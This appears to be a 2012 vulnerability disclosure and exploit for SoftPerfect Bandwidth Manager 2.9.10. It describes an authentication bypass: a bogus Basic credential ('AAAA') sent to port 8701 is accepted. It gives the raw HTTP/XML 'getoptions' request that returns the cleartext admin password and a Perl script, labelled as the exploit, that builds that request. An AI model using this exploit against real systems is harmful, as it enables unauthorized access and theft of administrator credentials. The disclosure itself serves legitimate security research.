64 lines
No EOL
2.1 KiB
Text
64 lines
No EOL
2.1 KiB
Text
Authentication Bypass and Password disclosure.
|
|
|
|
SoftPerfect Bandwidth Manager Authentication Bypass
|
|
*Date:* 22-June-2012
|
|
*Author:* Gitsnik http://dracyrys.com/softperfect
|
|
*Vendor Homepage:* http://www.softperfect.com/
|
|
*Software Link:* http://www.softperfect.com/products/bandwidth/
|
|
*Version:* 2.9.10 (probably all up to this version)
|
|
*Tested on:* Windows 7 Ultimate, Windows Server 2003, Windows Server 2003
|
|
R2.
|
|
|
|
A vulnerability exists in the authentication processing module of the
|
|
SoftPerfect Bandwidth Manager. According to the SoftPerfect FAQ page the
|
|
system utilises an API consisting of HTTP and XML. Using a packet sniffer
|
|
to monitor port 8701 we can see that the initial packet exchange for a
|
|
blank password is:
|
|
|
|
POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
|
|
Basic YWRtaW46
|
|
<?xml version="1.0" encoding="windows-1252"?><request>
|
|
<command>getoptions</command>
|
|
</request>
|
|
|
|
Basic authentication with a username of admin and a blank password.
|
|
|
|
When this software has no password set, any password seems to authenticate.
|
|
This is interesting, but ultimately unusual in a proper environment.
|
|
|
|
The bug exists in the authentication mechanism. I was initially going to
|
|
fuzz the Basic string, only to find that it worked on my first try. Sending
|
|
the following to the application will completely bypass any password in
|
|
place (note the strong text in the Authorization line):
|
|
|
|
POST / HTTP/1.0Content-Type: text/xmlContent-Length: 100Authorization:
|
|
Basic *AAAA*
|
|
<?xml version="1.0" encoding="windows-1252"?><request>
|
|
<command>getoptions</command>
|
|
</request>
|
|
|
|
The getoptions command includes dumping a cleartext password from the
|
|
database to the connection.
|
|
Exploit: Dump the console password with no authentication
|
|
|
|
#!/usr/bin/env perl
|
|
|
|
use strict;
|
|
use warnings;
|
|
|
|
my $credentials = "AAAA";
|
|
|
|
#command: getrules 98
|
|
#command: getoptions 100
|
|
|
|
my $header = "POST / HTTP/1.0\r\n" .
|
|
"Content-Type: text/xml\r\n" .
|
|
"Content-Length: 100\r\n" .
|
|
"Authorization: Basic $credentials\r\n" .
|
|
"\r\n" .
|
|
"<?xml version=\"1.0\" encoding=\"windows-1252\"?>\r\n" .
|
|
"<request>\r\n" .
|
|
"\t<command>getoptions</command>\r\n" .
|
|
"</request>";
|
|
|
|
print $header; |